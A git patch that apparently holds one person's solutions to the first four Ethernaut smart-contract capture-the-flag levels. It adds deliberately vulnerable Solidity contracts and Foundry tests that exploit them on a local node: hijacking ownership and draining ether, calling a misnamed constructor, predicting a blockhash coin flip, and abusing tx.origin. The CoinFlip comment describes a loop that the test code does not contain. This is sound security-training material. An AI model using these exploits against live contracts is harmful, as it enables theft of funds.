From c4602070147d06713250b3a08d126ccfdae47ef1 Mon Sep 17 00:00:00 2001 From: 0xHUANG <0xBoscoHuang@gmail.com> Date: Sat, 11 Jan 2025 12:21:18 +0800 Subject: [PATCH] 01-04 --- .gitignore | 2 ++ remappings.txt | 5 +++++ script/Counter.s.sol | 19 ---------------- src/01_Fallback.sol | 47 +++++++++++++++++++++++++++++++++++++++ src/02_Fallout.sol | 49 +++++++++++++++++++++++++++++++++++++++++ src/03_CoinFlip.sol | 42 +++++++++++++++++++++++++++++++++++ src/04_Telephone.sol | 25 +++++++++++++++++++++ src/Counter.sol | 14 ------------ test/01_Fallback.t.sol | 44 ++++++++++++++++++++++++++++++++++++ test/02_Fallout.t.sol | 43 ++++++++++++++++++++++++++++++++++++ test/03_CoinFlip.t.sol | 44 ++++++++++++++++++++++++++++++++++++ test/04_Telephone.t.sol | 36 ++++++++++++++++++++++++++++++ test/Counter.t.sol | 24 -------------------- 13 files changed, 337 insertions(+), 57 deletions(-) create mode 100644 remappings.txt delete mode 100644 script/Counter.s.sol create mode 100644 src/01_Fallback.sol create mode 100644 src/02_Fallout.sol create mode 100644 src/03_CoinFlip.sol create mode 100644 src/04_Telephone.sol delete mode 100644 src/Counter.sol create mode 100644 test/01_Fallback.t.sol create mode 100644 test/02_Fallout.t.sol create mode 100644 test/03_CoinFlip.t.sol create mode 100644 test/04_Telephone.t.sol delete mode 100644 test/Counter.t.sol diff --git a/.gitignore b/.gitignore index 85198aa..f0e124c 100644 --- a/.gitignore +++ b/.gitignore @@ -12,3 +12,5 @@ docs/ # Dotenv file .env + +.DS_Store \ No newline at end of file diff --git a/remappings.txt b/remappings.txt new file mode 100644 index 0000000..bbaad42 --- /dev/null +++ b/remappings.txt @@ -0,0 +1,5 @@ +ds-test/=lib/solmate/lib/ds-test/src/ +forge-std/=lib/forge-std/src/ +solmate/=lib/solmate/src/ +weird-erc20/=lib/weird-erc20/src/ +@openzeppelin/contracts/=lib/openzeppelin-contracts/contracts/ \ No newline at end of file diff --git a/script/Counter.s.sol b/script/Counter.s.sol deleted file mode 100644 index cdc1fe9..0000000 --- a/script/Counter.s.sol +++ /dev/null @@ -1,19 +0,0 @@ -// SPDX-License-Identifier: UNLICENSED -pragma solidity ^0.8.13; - -import {Script, console} from "forge-std/Script.sol"; -import {Counter} from "../src/Counter.sol"; - -contract CounterScript is Script { - Counter public counter; - - function setUp() public {} - - function run() public { - vm.startBroadcast(); - - counter = new Counter(); - - vm.stopBroadcast(); - } -} diff --git a/src/01_Fallback.sol b/src/01_Fallback.sol new file mode 100644 index 0000000..b738bcd --- /dev/null +++ b/src/01_Fallback.sol @@ -0,0 +1,47 @@ +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.0; + +/* +Author: @BoscoHuang + +Process: +- Deploy Fallback contract in anvil: + 1. anvil + 1. forge create src/01_Fallback.sol:Fallback --rpc-url http://127.0.0.1:8545 --private-key 0x.... +*/ + +contract Fallback { + mapping(address => uint256) public contributions; + address public owner; + + constructor() { + owner = msg.sender; + contributions[msg.sender] = 1000 * (1 ether); + } + + modifier onlyOwner() { + require(msg.sender == owner, "caller is not the owner"); + _; + } + + function contribute() public payable { + require(msg.value < 0.001 ether); + contributions[msg.sender] += msg.value; + if (contributions[msg.sender] > contributions[owner]) { + owner = msg.sender; + } + } + + function getContribution() public view returns (uint256) { + return contributions[msg.sender]; + } + + function withdraw() public onlyOwner { + payable(owner).transfer(address(this).balance); + } + + receive() external payable { + require(msg.value > 0 && contributions[msg.sender] > 0); + owner = msg.sender; + } +} \ No newline at end of file diff --git a/src/02_Fallout.sol b/src/02_Fallout.sol new file mode 100644 index 0000000..dfd547f --- /dev/null +++ b/src/02_Fallout.sol @@ -0,0 +1,49 @@ +// SPDX-License-Identifier: MIT +pragma solidity ^0.6.0; + +import "@openzeppelin/contracts/math/SafeMath.sol"; + +/* +Author: @BoscoHuang + +Process: +- Install openzeppelin-contracts: forge install OpenZeppelin/openzeppelin-contracts@v3.4.2 +- Deploy Fallout contract in anvil: + 1. anvil + 1. forge create src/02_Fallout.sol:Fallout --rpc-url http://127.0.0.1:8545 --private-key 0x.... +*/ + +contract Fallout { + using SafeMath for uint256; + + mapping(address => uint256) allocations; + address payable public owner; + + /* constructor */ + function Fal1out() public payable { + owner = msg.sender; + allocations[owner] = msg.value; + } + + modifier onlyOwner() { + require(msg.sender == owner, "caller is not the owner"); + _; + } + + function allocate() public payable { + allocations[msg.sender] = allocations[msg.sender].add(msg.value); + } + + function sendAllocation(address payable allocator) public { + require(allocations[allocator] > 0); + allocator.transfer(allocations[allocator]); + } + + function collectAllocations() public onlyOwner { + msg.sender.transfer(address(this).balance); + } + + function allocatorBalance(address allocator) public view returns (uint256) { + return allocations[allocator]; + } +} \ No newline at end of file diff --git a/src/03_CoinFlip.sol b/src/03_CoinFlip.sol new file mode 100644 index 0000000..b8e91f9 --- /dev/null +++ b/src/03_CoinFlip.sol @@ -0,0 +1,42 @@ +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.0; + +/* +Author: @BoscoHuang + +Process: +- Deploy Fallout contract in anvil: + 1. anvil + 1. forge create src/03_CoinFlip.sol:CoinFlip --rpc-url http://127.0.0.1:8545 --private-key 0x.... +*/ + + +contract CoinFlip { + uint256 public consecutiveWins; + uint256 lastHash; + uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968; + + constructor() { + consecutiveWins = 0; + } + + function flip(bool _guess) public returns (bool) { + uint256 blockValue = uint256(blockhash(block.number - 1)); + + if (lastHash == blockValue) { + revert(); + } + + lastHash = blockValue; + uint256 coinFlip = blockValue / FACTOR; + bool side = coinFlip == 1 ? true : false; + + if (side == _guess) { + consecutiveWins++; + return true; + } else { + consecutiveWins = 0; + return false; + } + } +} \ No newline at end of file diff --git a/src/04_Telephone.sol b/src/04_Telephone.sol new file mode 100644 index 0000000..67b89d3 --- /dev/null +++ b/src/04_Telephone.sol @@ -0,0 +1,25 @@ +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.0; + +/* +Author: @BoscoHuang + +Process: +- Deploy Fallout contract in anvil: + 1. anvil + 1. forge create src/04_Telephone.sol:Telephone --rpc-url http://127.0.0.1:8545 --private-key 0x.... +*/ + +contract Telephone { + address public owner; + + constructor() { + owner = msg.sender; + } + + function changeOwner(address _owner) public { + if (tx.origin != msg.sender) { + owner = _owner; + } + } +} \ No newline at end of file diff --git a/src/Counter.sol b/src/Counter.sol deleted file mode 100644 index aded799..0000000 --- a/src/Counter.sol +++ /dev/null @@ -1,14 +0,0 @@ -// SPDX-License-Identifier: UNLICENSED -pragma solidity ^0.8.13; - -contract Counter { - uint256 public number; - - function setNumber(uint256 newNumber) public { - number = newNumber; - } - - function increment() public { - number++; - } -} diff --git a/test/01_Fallback.t.sol b/test/01_Fallback.t.sol new file mode 100644 index 0000000..549a5bf --- /dev/null +++ b/test/01_Fallback.t.sol @@ -0,0 +1,44 @@ +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.0; + +import "ds-test/test.sol"; +import "../src/01_Fallback.sol"; +import "forge-std/Test.sol"; + + +/* +Author: @BoscoHuang + +Attack Process: +- Invoke `contribute` function, send `msg.value < 0.001 ether` +- Then, send `msg.value > 0` to the contract directly +- Trigger `receive`, and become the owner +- At last, invoke `withdraw` function to drain all the ether. + +Command: +- forge test --match-contract FallbackTest --fork-url http://127.0.0.1:8545 -vvv +*/ + +contract FallbackTest is DSTest{ + Fallback Ethernaut01; + + function setUp() public { + Ethernaut01 = Fallback(payable(0x5FbDB2315678afecb367f032d93F642f64180aa3)); // Fallback address in anvil + + } + + function testEthernaut01() public { + console.log("Ethernaut01 owner:", Ethernaut01.owner()); // Owner is the contract deployer + + Ethernaut01.contribute{value: 1 wei}(); + Ethernaut01.getContribution(); + + (bool success, ) = address(Ethernaut01).call{value: 1 wei}(""); + require(success, "Call failed"); + + assert(address(this) == Ethernaut01.owner()); // Attacker become the owner + Ethernaut01.withdraw(); + } + + receive() external payable {} +} diff --git a/test/02_Fallout.t.sol b/test/02_Fallout.t.sol new file mode 100644 index 0000000..438e3ab --- /dev/null +++ b/test/02_Fallout.t.sol @@ -0,0 +1,43 @@ +// SPDX-License-Identifier: UNLICENSED +pragma solidity ^0.6.0; + +import "ds-test/test.sol"; +import "forge-std/Test.sol"; +import "../src/02_Fallout.sol"; + +/* +Author: @BoscoHuang + +Attack Process: +- Firstly, we noted that the Solidity compiler version is `< 0.8.x`. This means that the is susceptible to arithmetic underflow and overflow errors. + +- This contract imported and used OpenZeppelin [`SafeMath`](https://docs.openzeppelin.com/contracts/4.x/api/utils#SafeMath) Lib, so there should be no overflow issues with this contract. + +- Prior to Solidity version `0.4.22`, the only way to define a constructor for a contract was to define a function with the same name as the contract itself. + +- The name of the contract is `Fallout`, but the constructor is called `Fal1out`. Because of this typo, when the contract is deployed, the constructor is never executed at creation time and the owner is never updated. + +Command: +- forge test --match-contract FalloutTest --fork-url http://127.0.0.1:8545 -vvv +*/ + +contract FalloutTest is DSTest { + Fallout Ethernaut02; + + function setUp() public { + Ethernaut02 = Fallout(payable(0x5FbDB2315678afecb367f032d93F642f64180aa3)); // Fallout address in anvil + } + + function testEthernaut02() public { + console.log("Ethernaut02 owner:", Ethernaut02.owner()); // Owner is zero address + + Ethernaut02.Fal1out(); + + assert(address(this) == Ethernaut02.owner()); // Attacker becomes the owner + + console.log("Ethernaut02 owner:", Ethernaut02.owner()); + } + + receive() external payable {} +} + diff --git a/test/03_CoinFlip.t.sol b/test/03_CoinFlip.t.sol new file mode 100644 index 0000000..67c78a3 --- /dev/null +++ b/test/03_CoinFlip.t.sol @@ -0,0 +1,44 @@ +// SPDX-License-Identifier: UNLICENSED +pragma solidity ^0.8.0; + +import "ds-test/test.sol"; +import "forge-std/Test.sol"; +import "../src/03_CoinFlip.sol"; + +/* +Author: @BoscoHuang + +Attack Process: +As you see, the solution is pretty straightforward. Loop until the + +`consecutiveWins()` getter tell us we have reached `10`. + +Inside the loop we calculate the value to pass to `flip` replicating the same logic of the `CoinFlip.flip` function. + +Command: +- forge test --match-contract CoinFlipTest --fork-url http://127.0.0.1:8545 -vvv +*/ + +contract CoinFlipTest is DSTest { + CoinFlip Ethernaut03; + + function setUp() public { + Ethernaut03 = CoinFlip(payable(0x5FbDB2315678afecb367f032d93F642f64180aa3)); // CoinFlip address in anvil + } + + function testEthernaut03() public { + uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968; + + uint256 blockValue = uint256(blockhash(block.number - 1)); + + uint256 coinFlip = blockValue / FACTOR; + + bool side = coinFlip == 1 ? true : false; + + Ethernaut03.flip(side); + + console.log("Consecutive Wins: ", Ethernaut03.consecutiveWins()); + + } +} + diff --git a/test/04_Telephone.t.sol b/test/04_Telephone.t.sol new file mode 100644 index 0000000..b2e5a68 --- /dev/null +++ b/test/04_Telephone.t.sol @@ -0,0 +1,36 @@ +// SPDX-License-Identifier: UNLICENSED +pragma solidity ^0.8.0; + +import "ds-test/test.sol"; +import "forge-std/Test.sol"; +import "../src/04_Telephone.sol"; + +/* +Author: @BoscoHuang + +Attack Process: +- The `changeOwner` function is vulnerable to a transaction origin attack. +- The `tx.origin` is the address of the account that initiated the transaction. + +Command: +- forge test --match-contract TelephoneTest --fork-url http://127.0.0.1:8545 -vvv +*/ + +contract TelephoneTest is DSTest { + Telephone Ethernaut04; + + function setUp() public { + Ethernaut04 = Telephone(payable(0x5FbDB2315678afecb367f032d93F642f64180aa3)); // Telephone address in anvil + } + + function testEthernaut04() public { + console.log("Ethernaut04 owner:", Ethernaut04.owner()); // Owner is zero address + + Ethernaut04.changeOwner(address(this)); + + assert(address(this) == Ethernaut04.owner()); // Attacker becomes the owner + + console.log("Ethernaut04 owner:", Ethernaut04.owner()); + } +} + diff --git a/test/Counter.t.sol b/test/Counter.t.sol deleted file mode 100644 index 54b724f..0000000 --- a/test/Counter.t.sol +++ /dev/null @@ -1,24 +0,0 @@ -// SPDX-License-Identifier: UNLICENSED -pragma solidity ^0.8.13; - -import {Test, console} from "forge-std/Test.sol"; -import {Counter} from "../src/Counter.sol"; - -contract CounterTest is Test { - Counter public counter; - - function setUp() public { - counter = new Counter(); - counter.setNumber(0); - } - - function test_Increment() public { - counter.increment(); - assertEq(counter.number(), 1); - } - - function testFuzz_SetNumber(uint256 x) public { - counter.setNumber(x); - assertEq(counter.number(), x); - } -}